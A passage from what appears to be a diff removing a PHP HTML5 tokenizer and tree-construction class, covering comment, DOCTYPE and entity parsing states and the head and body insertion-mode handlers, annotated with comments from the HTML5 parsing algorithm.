(!$entity) - ? '&' - : $entity; - - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - } - - private function bogusCommentState() { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken(array( - 'data' => $data, - 'type' => self::COMMENT - )); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-'.$char; - $this->state = 'comment'; - } - } - - private function commentEndState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '-') { - $this->token['data'] .= '-'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--'.$char; - $this->state = 'comment'; - } - } - - private function doctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif($char === '>') { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - } - } - - private function doctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens bellow. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if(in_array($id, $this->entities)) { - if ($e_name[$c-1] !== ';') { - if ($c < $len && $e_name[$c] == ';') { - $this->char++; // consume extra semicolon - } - } - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens bellow. - break; - } - - if(!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) { - $emit = $this->tree->emitToken($token); - - if(is_int($emit)) { - $this->content_model = $emit; - - } elseif($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() { - $this->state = null; - $this->tree->emitToken(array( - 'type' => self::EOF - )); - } -} - -class HTML5TreeConstructer { - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button','caption','html','marquee','object','table','td','th'); - private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); - private $special = array('address','area','base','basefont','bgsound', - 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', - 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', - 'h6','head','hr','iframe','image','img','input','isindex','li','link', - 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', - 'option','p','param','plaintext','pre','script','select','spacer','style', - 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) { - switch($this->phase) { - case self::INIT_PHASE: return $this->initPhase($token); break; - case self::ROOT_PHASE: return $this->rootElementPhase($token); break; - case self::MAIN_PHASE: return $this->mainPhase($token); break; - case self::END_PHASE : return $this->trailingEndPhase($token); break; - } - } - - private function initPhase($token) { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if((isset($token['error']) && $token['error']) || - $token['type'] === HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif(isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', - $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif(($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach($token['attr'] as $attr) { - if(!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch($this->mode) { - case self::BEFOR_HEAD: return $this->beforeHead($token); break; - case self::IN_HEAD: return $this->inHead($token); break; - case self::AFTER_HEAD: return $this->afterHead($token); break; - case self::IN_BODY: return $this->inBody($token); break; - case self::IN_TABLE: return $this->inTable($token); break; - case self::IN_CAPTION: return $this->inCaption($token); break; - case self::IN_CGROUP: return $this->inColumnGroup($token); break; - case self::IN_TBODY: return $this->inTableBody($token); break; - case self::IN_ROW: return $this->inRow($token); break; - case self::IN_CELL: return $this->inCell($token); break; - case self::IN_SELECT: return $this->inSelect($token); break; - case self::AFTER_BODY: return $this->afterBody($token); break; - case self::IN_FRAME: return $this->inFrameset($token); break; - case self::AFTR_FRAME: return $this->afterFrameset($token); break; - case self::END_PHASE: return $this->trailingEndPhase($token); break; - } - } - } - - private function beforeHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', - $token['data']))) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead(array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, - array('title', 'style', 'script')))) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script'))) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta'))) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead(array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - )); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title'))) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inBody($token); - } - } - - private function inBody($token) { - /* Handle the token as follows: */ - - switch($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - "meta", "title" */ - case 'base': case 'link': case 'meta': case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach($token['attr'] as $attr) { - if(!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'p': case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': case 'dd': case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - $stack_length = count($this->stack) - 1; - - for($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { - for($x = $stack_length; $x >= $n ; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div') { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for($n = $leng - 1; $n >= 0; $n--) { - if($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken(array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - )); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': case 'big': case 'em': case 'font': case 'i': - case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if($this->elementInScope('button')) { - $this->inBody(array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - )); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'img': case 'param': case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return 